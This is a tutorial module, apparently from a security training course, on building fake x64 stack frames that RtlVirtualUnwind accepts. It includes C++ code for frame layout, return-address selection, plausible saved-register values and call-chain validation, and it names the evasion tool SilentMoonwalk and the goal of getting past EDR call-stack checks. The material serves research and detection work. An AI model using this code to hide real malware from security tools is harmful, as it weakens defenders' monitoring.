Difficulty: Intermediate

Module 6: Synthetic Frame Construction

Crafting fake stack frames that survive RtlVirtualUnwind byte by byte.

Why This Module?

This is where theory meets implementation. We'll walk through the exact process of building a single synthetic stack frame that, when processed by RtlVirtualUnwind, produces the correct caller RIP and RSP. Each byte must be placed precisely — one wrong offset and the unwind chain diverges.

Anatomy of a Synthetic Frame

A synthetic frame must mirror exactly what a real function call would produce on the stack. Let's dissect a concrete example. Consider spoofing a frame for a function with this UNWIND_INFO:

TextFunction: kernel32!SomeInternalFunc
BeginAddress: 0x00012340
EndAddress:   0x000123A0
UNWIND_INFO:
  Version:       1
  Flags:         0 (UNW_FLAG_NHANDLER)
  SizeOfProlog:  14
  CountOfCodes:  4
  FrameRegister: 0 (none)
  FrameOffset:   0

  Unwind Codes (processed in reverse order during unwind):
    [0] CodeOffset=14, Op=UWOP_ALLOC_SMALL, OpInfo=5  --> alloc (5*8)+8 = 0x30 bytes
    [1] CodeOffset=7,  Op=UWOP_PUSH_NONVOL, OpInfo=6  --> push RSI
    [2] CodeOffset=5,  Op=UWOP_PUSH_NONVOL, OpInfo=3  --> push RBX
    [3] CodeOffset=4,  Op=UWOP_PUSH_NONVOL, OpInfo=7  --> push RDI

This tells us the prologue does:

x86-64 ASM; Function prologue (what actually happens in memory):
push rdi          ; RSP -= 8, save RDI      (CodeOffset=4)
push rbx          ; RSP -= 8, save RBX      (CodeOffset=5)
push rsi          ; RSP -= 8, save RSI      (CodeOffset=7)
sub rsp, 0x30     ; RSP -= 0x30, local vars (CodeOffset=14)
; Total RSP change: 8 + 8 + 8 + 0x30 = 0x48 bytes
; Plus the 8-byte return address from CALL = 0x50 total

Building the Fake Frame

To build a synthetic frame for this function, we must lay out the stack exactly as the prologue would have left it. The unwinder will reverse these operations:

Synthetic Frame Memory Layout

Lower address (current RSP for this frame)
[RSP+0x00] Local variable space (0x30 bytes) — can contain gadget addresses for ROP execution
[RSP+0x30] Saved RSI value — unwinder reads this to restore RSI
[RSP+0x38] Saved RBX value — unwinder reads this to restore RBX
[RSP+0x40] Saved RDI value — unwinder reads this to restore RDI
[RSP+0x48] Return address → must point into the NEXT function in the spoofed chain
Higher address (previous frame starts here)
C++// Building one synthetic frame
void BuildSyntheticFrame(
    PBYTE stackBuffer,       // Pointer to our stack memory
    DWORD frameOffset,       // Where this frame starts (offset from RSP)
    PVOID returnAddress,     // Return addr (points into next target func)
    DWORD64 savedRDI,        // Plausible value for saved RDI
    DWORD64 savedRBX,        // Plausible value for saved RBX
    DWORD64 savedRSI         // Plausible value for saved RSI
) {
    PBYTE frame = stackBuffer + frameOffset;

    // Zero out the local variable area (0x30 bytes)
    // In practice, SilentMoonwalk places ROP gadget addresses here
    memset(frame, 0, 0x30);

    // Place saved non-volatile registers at the correct offsets
    // These are in REVERSE order of the pushes (last push = lowest address)
    *(PDWORD64)(frame + 0x30) = savedRSI;    // UWOP_PUSH_NONVOL RSI
    *(PDWORD64)(frame + 0x38) = savedRBX;    // UWOP_PUSH_NONVOL RBX
    *(PDWORD64)(frame + 0x40) = savedRDI;    // UWOP_PUSH_NONVOL RDI

    // Place the return address at the top of the frame
    // (from the caller's perspective, this is where CALL stored it)
    *(PVOID*)(frame + 0x48) = returnAddress;

    // Total frame size: 0x50 bytes (0x48 + 8 for return addr)
    // This must match what RtlVirtualUnwind computes:
    //   UWOP_ALLOC_SMALL(5) = 0x30
    //   3 x UWOP_PUSH_NONVOL = 3 * 8 = 0x18
    //   Total unwind: 0x30 + 0x18 = 0x48, then read [RSP] for ret addr
    //   New RSP = RSP + 0x48 + 8 = RSP + 0x50
}

The Return Address Placement Rule

The return address must point to a specific instruction inside the next function in the chain. It cannot just be the function's start address — it must be an instruction that would plausibly be a call site or code after a call. Specifically:

Where Must the Return Address Point?

C++// Finding a suitable return address within a target function
PVOID FindReturnAddress(PRUNTIME_FUNCTION pFunc, DWORD64 imageBase) {
    PUNWIND_INFO pUnwind = (PUNWIND_INFO)(imageBase + pFunc->UnwindData);

    // The return address should be AFTER the prologue
    // Choose an offset past SizeOfProlog but well within the function
    DWORD safeOffset = pUnwind->SizeOfProlog + 1;

    // Verify we're still within function bounds
    DWORD funcSize = pFunc->EndAddress - pFunc->BeginAddress;
    if (safeOffset >= funcSize) {
        // Function too small, pick minimum valid offset
        safeOffset = pUnwind->SizeOfProlog;
    }

    return (PVOID)(imageBase + pFunc->BeginAddress + safeOffset);
}

Saved Register Values: The Plausibility Problem

When RtlVirtualUnwind encounters UWOP_PUSH_NONVOL, it reads the saved register value from the stack and updates the CONTEXT structure. While the unwinder itself doesn't validate these values, a sophisticated EDR could check them for plausibility:

RegisterSuspicious ValuesPlausible Values
RBX0x0, 0xDEADBEEF, addresses in unbacked memoryAddress within a loaded module, small integer, or pointer to stack/heap data
RSINULL (unusual), impossibly large valuesValid pointer or reasonable counter value
RDIClearly fabricated patternsAddress within module or plausible data pointer
RBPPoints outside thread stack rangeAddress within the thread's stack bounds (TEB.StackBase to TEB.StackLimit)
R12-R15Values that don't match typical usageModule addresses, heap pointers, or small integers
C++// Generating plausible saved register values
DWORD64 GeneratePlausibleRegValue(HMODULE hNtdll, HMODULE hKernel32) {
    // Strategy: use addresses of real functions as "saved" values.
    // A register might reasonably contain a function pointer, a module
    // base address, or a pointer to data within a loaded module.

    // Option 1: Point into ntdll's .data section
    PIMAGE_NT_HEADERS pNt = RtlImageNtHeader(hNtdll);
    PIMAGE_SECTION_HEADER pSec = IMAGE_FIRST_SECTION(pNt);
    for (WORD i = 0; i < pNt->FileHeader.NumberOfSections; i++) {
        if (memcmp(pSec[i].Name, ".data", 5) == 0) {
            // Return an address within ntdll's .data section
            return (DWORD64)hNtdll + pSec[i].VirtualAddress + 0x100;
        }
    }

    // Option 2: Use a known function address
    return (DWORD64)GetProcAddress(hKernel32, "BaseThreadInitThunk");
}

Chaining Multiple Frames

A complete spoofed call stack consists of multiple synthetic frames chained together. The return address of frame N must point into the function that frame N+1 represents. The total stack space consumed must be contiguous:

C++// Building a complete synthetic call chain
struct FrameSpec {
    PRUNTIME_FUNCTION pFunc;   // Target function
    DWORD             frameSize; // Computed from UNWIND_INFO
    PVOID             retAddr;   // Points into NEXT function
};

void BuildSyntheticCallChain(
    PBYTE stackBuffer,
    std::vector<FrameSpec>& chain
) {
    DWORD currentOffset = 0;

    for (size_t i = 0; i < chain.size(); i++) {
        FrameSpec& spec = chain[i];

        // Zero the frame area
        memset(stackBuffer + currentOffset, 0, spec.frameSize);

        // Place return address at the end of the frame
        // (frameSize includes the allocation + pushed regs,
        //  return address sits right above the pushed regs)
        DWORD retAddrOffset = currentOffset + spec.frameSize;
        *(PVOID*)(stackBuffer + retAddrOffset) = spec.retAddr;

        // Place plausible saved register values at correct offsets
        // (must match the UWOP_PUSH_NONVOL sequence for this function)
        PlaceSavedRegisters(stackBuffer + currentOffset, spec.pFunc);

        // Advance past this frame (frame data + return address)
        currentOffset += spec.frameSize + 8;
    }
}

Handling UWOP_SET_FPREG (Frame Pointer Functions)

Some functions use a frame pointer register (typically RBP) via UWOP_SET_FPREG. This operation sets the frame register to RSP + FrameOffset*16 at a specific point in the prologue. During unwinding, the unwinder restores RSP from the frame register rather than accumulating offsets. This requires special handling:

C++// When a function uses UWOP_SET_FPREG:
// The unwinder sets RSP = FrameRegister - (FrameOffset * 16)
// BEFORE processing remaining unwind codes.
//
// For synthetic frames, we must ensure that the saved frame register
// value (e.g., saved RBP) on the stack, when used as the base,
// produces the correct RSP for the frame above.

void HandleFramePointerFunction(
    PBYTE frame,
    PUNWIND_INFO pUnwind,
    DWORD64 desiredCallerRsp
) {
    if (pUnwind->FrameRegister != 0) {
        // FrameRegister is set (e.g., 5 = RBP)
        // The unwinder will do: RSP = RBP - (FrameOffset * 16)
        // We need: RBP = desiredCallerRsp + (FrameOffset * 16)
        DWORD64 requiredFregValue =
            desiredCallerRsp + (pUnwind->FrameOffset * 16);

        // Place this value at the stack position where
        // the frame register was saved
        PlaceSavedReg(frame, pUnwind->FrameRegister, requiredFregValue);
    }
}

Frame Pointer Complexity

Functions with frame pointers add significant complexity to synthetic frame construction because the unwinder's RSP computation depends on a register value read from the stack. This creates a circular dependency: the frame must contain the right value for the frame register, which depends on where the next frame should be, which depends on the current frame's size. SilentMoonwalk handles this by computing the required values in advance and placing them during frame construction.

Validation: Testing Synthetic Frames

After constructing a synthetic stack, SilentMoonwalk can validate it by calling RtlVirtualUnwind in a test loop to verify the unwind chain produces the expected sequence of RIP values:

C++// Validate that our synthetic stack unwinds correctly
bool ValidateSyntheticStack(
    PCONTEXT ctx,                    // Initial context (RIP/RSP)
    std::vector<PVOID>& expectedRips // Expected return addresses
) {
    for (size_t i = 0; i < expectedRips.size(); i++) {
        DWORD64 imageBase;
        PRUNTIME_FUNCTION pFunc = RtlLookupFunctionEntry(
            ctx->Rip, &imageBase, NULL
        );

        if (!pFunc) {
            // Leaf function - just pop return address
            ctx->Rip = *(DWORD64*)(ctx->Rsp);
            ctx->Rsp += 8;
        } else {
            PVOID handlerData;
            DWORD64 establisher;
            RtlVirtualUnwind(
                UNW_FLAG_NHANDLER, imageBase, ctx->Rip,
                pFunc, ctx, &handlerData, &establisher, NULL
            );
        }

        if (ctx->Rip != (DWORD64)expectedRips[i]) {
            // Unwind produced wrong RIP - frame construction error!
            return false;
        }
    }
    return true; // All frames unwound correctly
}

Pop Quiz: Synthetic Frame Construction

Q1: A function's UNWIND_INFO contains UWOP_ALLOC_SMALL(OpInfo=3) and two UWOP_PUSH_NONVOL entries. What is the total frame size (excluding the return address)?

UWOP_ALLOC_SMALL with OpInfo=3 allocates (3*8)+8 = 32 = 0x20 bytes. Each UWOP_PUSH_NONVOL adds 8 bytes. Total: 0x20 + 8 + 8 = 0x30 bytes. The return address sits above this at offset 0x30 from the frame RSP.

Q2: Why must the return address in a synthetic frame point to an offset past SizeOfProlog?

RtlVirtualUnwind determines which unwind codes apply based on the instruction's offset within the function. If the RIP points into the prologue (before all operations have occurred), not all unwind codes take effect, and the computed stack adjustment will be too small, throwing off the entire chain.

Q3: Why does UWOP_SET_FPREG complicate synthetic frame construction?

When a function uses UWOP_SET_FPREG, the unwinder restores RSP from the frame register value (e.g., RBP) stored on the stack, rather than just adding offsets. The synthetic frame must contain a precisely computed value for the saved frame register so that when the unwinder reads it, the resulting RSP lands exactly at the right position for the next frame.